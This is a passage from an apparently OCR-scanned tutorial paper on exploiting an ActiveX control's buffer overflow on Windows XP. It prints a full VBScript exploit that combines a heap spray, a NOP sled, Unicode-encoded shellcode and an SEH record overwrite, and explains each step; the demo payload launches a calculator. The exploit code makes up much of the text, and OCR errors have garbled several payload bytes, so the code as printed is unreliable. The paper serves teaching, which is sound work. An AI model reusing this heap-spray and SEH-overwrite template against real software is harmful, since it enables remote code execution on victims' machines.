Now as shown in image 10 we have to find our shellcode with in the executable. And
then dump the entire shellcode to a file, the file will contain the object code as well as
Assembly code.

For ex.

33F6648B7618...... etc

After that we need to get a string that only contains the object code,

The bytes with in the object code need to be arranged in a certain way, depending on
whether it is going into the stack or into the heap. This will be discussed later on in the

paper.
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6. Putting Everything together in a Script file

Here the final exploit will written using vbscript, since the file we are exploiting is a
registered activex control, the script can access it using CLSID of the control.
The script performs the following tasks:

1. Initializes the control and creates an instance of the control
2. Creates a Heap-spray containing NOP sled and shellcode
3. Performs SEH record overwrite using the buffer overflow vulnerability of

control

Here’s the script that was used,

<object classid="xxxxxxxxxxxxxxxxxxxx" id="victim' />
<script language='"vbscript'>

argl1=1
arg2=1

dim bigdummy(11000000)

i=0

while(i &It; 244)

arg3=arg3 &amp; unescape("%90")
i=i+1

wend

" nop sled

i=0

while(i &lt; 815)

nop=nop + unescape("%u9090")
i=i+1

wend

' payload

payload=

unescape("%u3357%ub64F6%u7 68B%uAD18%u8BADYUE440%ub648%uC033%u8166%u4D38%u755A%u8BF5%uE
BE8%u8B44%u3C45%u548B%u7805%uD503%u4A8B%u8B18%u205A%uDD03%u31E3%u8B49%u8B34%uF503%u
FF33%uC033%uACFC%uC084%u0774%uCFC1%u030D%UEBF8%u3BF4%u247C%u7504%u8BE1%u245A%uDD03%
u8B66%u4BOC%u5A8B%u031C%u8BDDY%u8B04%uC503%ub68C3%uFE98%u0E8A%0uB2E8%uFFFFYu5BFFY%uDB33%
u6853%u652E%u6578%u6865%ub163%ub636C%ubD68%u3233%ub685C%u7379%ub574%u57 68%u5C53%u6873
%u4E49%u4F44%u4368%u5C3A%u8B57%ub6ADCY%u5305%uDOFF%%uC483%ué6820%uD87E%u7 3E2%u7 6E8%uFFFF
%uFFFF%u5BDO")

i=0

while(i &It; 10000)

bigdummy(i) = nop+payload

i=i+1

wend

arg3=arg3 &amp; unescape("%ff%ff%ff%Ff")
arg3=arg3 &amp; unescape("%0C%0C%0C%0C")
arg4="defaultV"

victim. File argl ,arg2 ,arg3 ,arg4

</script>
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i=0
Let’s go over the code,

while(i &It; 244)

arg3=arg3 &amp; unescape("%90")
i=i+1

wend

As we have previously found out that the buffer length is 244 + 8 bytes to overwrite the
SEH record. In this loop we create a string having length of 244 characters. This will stop
just before overwriting the SEH record. It can be filled with any character other that %00.

Before we move ahead, some important differences between how data is entered into the
stack and heap needs to be outlined.

Here are a few facts about stack:
1. the stack uses single byte to represent a character
2. The stack reserves bytes for the string with in the stack, by pulling the ESP down
and then by starting to copy from the current position of the ESP (which will be at
a lower address than the stack head) and moving to higher memory addresses. So
our shellcode will be copied from a lower memory address to a higher one.

Because of these properties the shellcode can be used as it is without changing any kind
of ordering.

Here’s the shellcode, hex encoding was used to encode the payload and the ordering of
the bytes are intact.

%33%F6%64%8B%7 6% 18%AD%AD%8B%40%E4%48%66%33%C0%66%81%38%4D%5A%7 5%F5%8B%E8%E
B%44%8B%45%3C%8B%54%05%78%03%D5%8B%4A%18%8B%5A%20%03%DD%E3%31%49%8B%34%8B%
03%F5%33%FF%33%C0%FC%AC%84%C0%7 4%07 %C1%CF%0D%03%F8%EB%F4%3B%7 C%24%04%7 5%E1%
8B%5A%24%03%DD%66%8B%0C%4B%8B%5A%1C%03%DD%8B%:04%8B%03%C5%C3%68%98%FEY%8A%0E
%E8%B 2%FFY%FF%FF%5B%33%DB%53%68%2E%65%7 8%65%68%63%61%6C%63%68%6D%33%32%5C%68
Y%7 9%7 3%7 4%65%68%57%53%5C%7 3%68%49%4E%44% 4AF %6 8%43%3A%5C%57 %8B %D C%6A%05%53%F
F%D0%83%C4%20%68%7E%%D8%E2%:7 3%E8%7 7 %oFFY%FF%FF%FF%D0%5B

Next we move to heap,
A few facts about heap:

The heap uses 2 bytes to represent characters. (UTF-16 format)

Since each character is 2 bytes, it will be read and written as 2 bytes, hence for
that we need to be careful about the endianess of the data, in our case the 2
bytes must be arranged in a little endian manner. That is, 5733F664 must be
written as %u3357%u64F6, as shown in the string, 33 must be at a higher
memory address than 57 hence %u3357 will be the data sent to the memory
where 57 will be at a lower memory address and 33 at a higher, assuming little
endian representation.

N —
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Now moving ahead with the code

i=0

while(i &lt; 815)

nop=nop + unescape("%u9090")
i=i+1

wend

Here we are creating a NOP sled that has a size of 815 bytes, NOP sleds provides
us with some flexibility in predicting the shellcode address, since we don’t have to be
exact about the shellcode address it just needs to fall somewhere within in the NOP sled
and the shellcode will still be executed.

Here we are using a Unicode representation for the NOP sled meant to go into the
heap.

payload=

unescape("%u3357%u64F6%u7 68B%uAD18%u8BADYUE440%ub648%uC033%u8166%u4D38%u755A%u8BF5%UE

BE8%u8B44%u3C45%u548B%u7805%uD503%u4A8B%u8B18%u205A%uDD03%u31E3%u8B49%u8B34%uF503%u
FF33%uC033%uACFC%uC084%u0774%uCFC1%u030D%UEBF8%u3BF4%u247C%u7504%u8BE1%u245A%uDD03%
u8B66%u4B0C%u5A8B%u031C%u8BDD%u8B04%uC503%ub68C3%uFE98%u0E8A%uB2E8%uFFFF%u5BFF%uDB33%

u6853%u652E%u6578%u6865%ub163%ub636C%ubD68%u3233%ub685C%u7379%ub57 4%u57 68%u5C53%u6873
%u4E49%u4F44%u4368%u5C3A%u8B57%ub6ADCY%u5305%uDOFFYuC483%u6820%uD87EYu7 3E2%u7 6E8%uFFFF
%uFFFF%u5BD0")

Here’s our payload which will go into the heap and because it is going into the
heap the bytes are rearranged to comply with the endianess of the system, which is in this
case little-endian.

i=0

while(i &lt; 10000)
bigdummy(i) = nop+payload
i=i+1

wend

Here the NOP is concatenated with the payload and sprayed into the heap, that is,
this combination is copied over and over into the heap. Creating a structure which looks
like this,

NOP+Shellcode+NOP+Shellcode+NOP+Shellcode ...............
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Image 11

This pattern is repeated for up to 10 MB of memory. And since we are using W Script to
run the VBScript heap fragmentation is not an issue, but some applications like IE can
have heap fragmentation issue, since these applications might be running for a long time.
Heap fragmentation causes our pattern of shellcode and NOP to not to lay
that there will be random gaps between them
which when executed causes the process to crash.

consecutively in memory, it means
containing garbage data (at least to us)

NOP + Shellcode + NOP + Random Data+ NOP + Random Data + NOP + Shellcode

There are ways to get around them [3]. But here we will assume that that heap is not

MOP Sled
FE EE Fd SE| 2143 ML =, w735 [}
AC 46 S5 SA| iSeubicsel fi.KiC Shellcode
2A 9E ET E2 T+ m g

¥l i+t Hhaeep
[2ESh

fragmented and our NOP + shellcode pattern lays contiguously in memory.

arg3=arg3 &amp; unescape("%ff%ff%ff%Ff")
arg3=arg3 &amp; unescape("%0C%0C%0C%0C")
arg4="defaultV"

victim. File argl ,arg2 ,arg3 ,arg4
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Arg3 is the argument to File function that is causing the buffer-overflow. In these lines
we are creating a new SEH record and overwriting the previous SEH record.

The SEH record contains two fields: Exception handler address and location of
the next SEH record.

arg3=arg3 &amp; unescape("%ff%ff%ff%ff")

This line overwrites the exception record by setting the address to next SEH handler
record to % ft%ft%ff%ff. That means end of exception chain.

arg3=arg3 &amp; unescape("%0C%0C%0C%0C")

This line overwrites the exception handler location by setting it to our shellcode location.
This means that whenever an exception occurs the execution will be redirected to this
address.

We can save this file with .wsf extension and execute it using WScript. On execution of

this file you will see a calculator pop up on your screen, which means that our shellcode
was executed successfully.
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7. Conclusion

This paper is intended to show the complete process of exploiting buffer-overflow
vulnerability, it does not cover scenarios in buffer-overflow attack where

1.
2.

SNk w

DEP is enabled which will prevent us from executing our Shellcode

Heap fragmentation issues in long running application which will have
fragmented heap spaces

Stack cookies, since the control is not using them

SafeSEH handling, it is not used in this control.

No heap related protection being used such as safe unlinking etc.

Since the exploit is done in Windows XP sp3, hence ASLR is only applicable
to PEB, TEB structures and doesn’t affect our exploit.

But all the missing capabilities can be built on top of the process mentioned in the paper.
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